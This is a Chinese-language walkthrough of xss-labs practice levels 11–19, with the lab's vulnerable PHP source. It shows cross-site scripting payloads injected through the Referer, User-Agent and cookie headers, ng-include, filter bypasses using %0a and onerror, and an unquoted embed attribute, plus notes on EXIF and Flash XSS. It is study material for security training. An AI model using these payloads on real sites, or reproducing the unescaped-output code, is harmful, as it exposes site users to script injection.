前言
第11关:referer
-
查看网页源代码
-
抓包
-
修改,放包
Referer: 111" onclick="alert(1)" type="text
-
浏览器效果
-
下一关
-
源码
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_SERVER['HTTP_REFERER']; //可传入的参数,可能需要抓包才能修改 $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ref" value="'.$str33.'" type="hidden"> //注入点 </form> </center>'; ?>
第12关:User-Agent
-
看源码,跟user-agent有关
-
抓包修改
User-Agent: 111" onclick="alert(1)" type="
-
查看网页源代码,点击输入框即可通关
-
源码
<?php ...... $str11=$_SERVER['HTTP_USER_AGENT']; //注入点 $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); ...... <input name="t_ua" value="'.$str33.'" type="hidden"> //能浏览器加载的地方 ...... ?>
第13关:cookie
-
看网页源代码,跟cookie有关
-
浏览器新建cookie(或者抓包修改也可以)
user: 111" onclick="alert(1)" type="
-
刷新加载
-
源码
<?php setcookie("user", "call me maybe?", time()+3600); ...... $str11=$_COOKIE["user"]; //注入点 ...... <input name="t_cook" value="'.$str33.'" type="hidden"> ...... ?>
第14关:exif xss
-
emmm,这关需要自己找环境复现。
-
exif xss介绍
exif
可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的文件格式,可以记录数码照片的属性信息和拍摄数据。
因为有些网站可以读取exif 信息,当传入一张含有恶意信息的图片的时候,就可以触发恶意代码。
-
制作恶意图片
截图不行,无法写入
这张图片时手机拍的,可以写入
-
可以读取exif信息的网址
https://www.sojson.com/image/exif.html
https://exifdata.com/
第15关:ng-include
-
可以在
html
文件中包含外部的html
文件特别注意:
ng-include,如果单纯指定地址,必须要加引号
'
ng-include,加载外部html,script标签中的内容不执行
ng-include,加载外部html,含有style标签样式可以识别 -
改变参数,观测效果
-
文件包含进来了,使用
'
,看特别注意1
-
为什么包含php文件也可以?
应该是把php文件执行后生成的html文件包含进来的。
-
加入参数进行测试,有回显
-
传入
<script>alert(1)</script>
进行测试,但是不执行,看特别注意2?src='level1.php?name=<script>alert(1)</script>'
-
传入
<img src=1 onerror=alert(1)>
进行测试,看特别注意3,进入下一关?src='level1.php?name=<img src=1 onerror=alert(1)>'
-
源码
<?php ini_set("display_errors", 0); $str = $_GET["src"]; echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>'; ?>
第16关
-
源码
<?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); //小写,注入点 $str2=str_replace("script"," ",$str); //将script替换为 不使用script即可 $str3=str_replace(" "," ",$str2); //将空格替换为 用%0a代替 $str4=str_replace("/"," ",$str3); //将/替换为 可以用单标签进行绕过 $str5=str_replace(" "," ",$str4); //将空格替换为 echo "<center>".$str5."</center>"; //浏览器加载注入代码 ?>
-
测试,观测浏览器加载效果和网页源代码
-
payload
<img src=1 onerror=alert(1)> <img src=1 onclick=alert(1)> ---------------------------------- 用%0a替换空格 <img%0asrc=1%0aonerror=alert(1)> <img%0asrc=1%0aonclick=alert(1)>
-
onerror 事件在加载外部文件(文档或图像)发生错误时触发。
在img 这个标签无法正常执行的时候触发,所以这里的src 我们随便填一个不存在的地址,就可以触发后面的弹窗了。 -
下一关
第17关
-
源码
<body> <h1 align=center>欢迎来到level17</h1> <?php ini_set("display_errors", 0); echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>"; ?> <h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2> </body>
-
测试
-
<embed>
标签引入一个swf文件到浏览器端,并且它的src属性值没有添加引号,所以不用闭合,可以利用。
-
传入
<script>alert(1)</script>
进行测试
-
传入
onclick=alert(1)
进行测试
-
进行测试
-
用
onclick=alert(1)
不行,用onmouseover=alert(1)
-
下一关
第18关
- 同17关,虽然不支持插件,但是不影响
第19关:flash xss
-
供参考已复现成功的文章
XSS-labs Level 19 Flash XSS
XSS之xss-labs-level19 -
本人的尝试失败,以下经验仅供参考
-
flash xss 原理
flash有可以调用
js
的函数,也就是可以和js
进行通信。使用flash的这些函数时,如果传入恶意XSS代码,并调用js进行解析,此时会触发XSS攻击。因此这些函数如果使用不当也是会造成xss的。
常见的可触发xss的危险函数有:getURL、navigateToURL、ExternalInterface.call、htmlText、loadMovie等等。 -
测试
-
不能用
"
-
直接参考别人的payload
-
用IE浏览器打开,自动跳转成Microsoft edge,修改设置
-
IE浏览器访问,但是浏览器自动禁止了XSS
-
没了